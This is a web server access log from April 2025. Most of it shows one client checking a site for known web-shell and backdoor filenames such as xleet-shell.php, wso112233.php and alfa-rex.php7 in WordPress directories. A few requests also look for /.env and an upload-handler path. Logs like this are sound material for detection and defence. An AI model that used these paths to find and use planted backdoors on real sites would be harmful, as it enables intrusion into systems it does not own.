[10/Apr/2025:18:37:53 -0400] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:54 -0400] "GET /plugins/finder/categories/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:56 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:58 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:59 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:02 -0400] "GET /thanks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:04 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:07 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:09 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:11 -0400] "GET /wp-content/themes/mero-megazines/ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:13 -0400] "GET /wp-content/themes/welfare-charity/www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:16 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:18 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:20 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:22 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:25 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:27 -0400] "GET /wp-content/themes/applica/400.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:29 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:31 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:33 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:34 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:47 -0400] "GET /wp-content/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:49 -0400] "GET /wp-includes/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:51 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:53 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:54 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:56 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:58 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:38:59 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:02 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:04 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:06 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:08 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:09 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:11 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:13 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:15 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:17 -0400] "GET /wp-content/plugins/column/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:18 -0400] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:20 -0400] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:22 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:23 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:25 -0400] "GET /wp-content/plugins/hellopress/0xlufix2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:26 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:28 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:30 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:33 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:34 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:37 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:39 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:41 -0400] "GET /loger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:43 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:45 -0400] "GET /vendor/htmlawed/htmlawed/gel4y.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:48 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:49 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:51 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:55 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:56 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:39:58 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:01 -0400] "GET /gank.php.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:03 -0400] "GET /mt/pekok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:06 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:11 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:16 -0400] "GET /wp.php?Chitoge HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:19 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:23 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:25 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:29 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:31 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:33 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:35 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:37 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:39 -0400] "GET /wp-content/plugins/xwp/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:41 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:43 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:44 -0400] "GET /wp-content/plugins/instabuilder2/cache/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:46 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:48 -0400] "GET /wp-admin/x.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:50 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:52 -0400] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:53 -0400] "GET /wp-content/plugins/wpputty/wpputty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:40:55 -0400] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 34.162.36.144 - - [10/Apr/2025:19:37:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.36.144 - - [10/Apr/2025:19:38:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.36.144 - - [10/Apr/2025:19:38:38 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.36.144 - - [10/Apr/2025:19:38:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.36.144 - - [10/Apr/2025:19:38:47 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.36.144 - - [10/Apr/2025:19:38:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.36.144 - - [10/Apr/2025:19:39:49 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.36.144 - - [10/Apr/2025:19:39:50 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.36.144 - - [10/Apr/2025:19:39:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.36.144 - - [10/Apr/2025:19:39:53 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.36.144 - - [10/Apr/2025:19:39:58 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.36.144 - - [10/Apr/2025:19:39:58 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [10/Apr/2025:19:48:28 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 18.223.108.59 - - [10/Apr/2025:19:56:20 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 43.129.38.128 - - [10/Apr/2025:20:01:20 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.38.23.16 - - [10/Apr/2025:21:14:27 -0400] "GET /admin/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 43.157.170.126 - - [10/Apr/2025:21:14:46 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.77.167.184 - - [10/Apr/2025:21:20:36 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 52.167.144.230 - - [10/Apr/2025:21:20:50 -0400] "GET /portfolio.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 142.93.15.2 - - [10/Apr/2025:21:26:32 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 17.241.219.156 - - [10/Apr/2025:21:34:43 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 18.223.108.59 - - [10/Apr/2025:21:41:25 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 147.185.132.78 - - [10/Apr/2025:21:43:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 78.203.244.116 - - [10/Apr/2025:22:15:48 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50" 34.162.192.98 - - [10/Apr/2025:22:16:00 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.192.98 - - [10/Apr/2025:22:16:29 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.192.98 - - [10/Apr/2025:22:16:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.192.98 - - [10/Apr/2025:22:17:00 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) 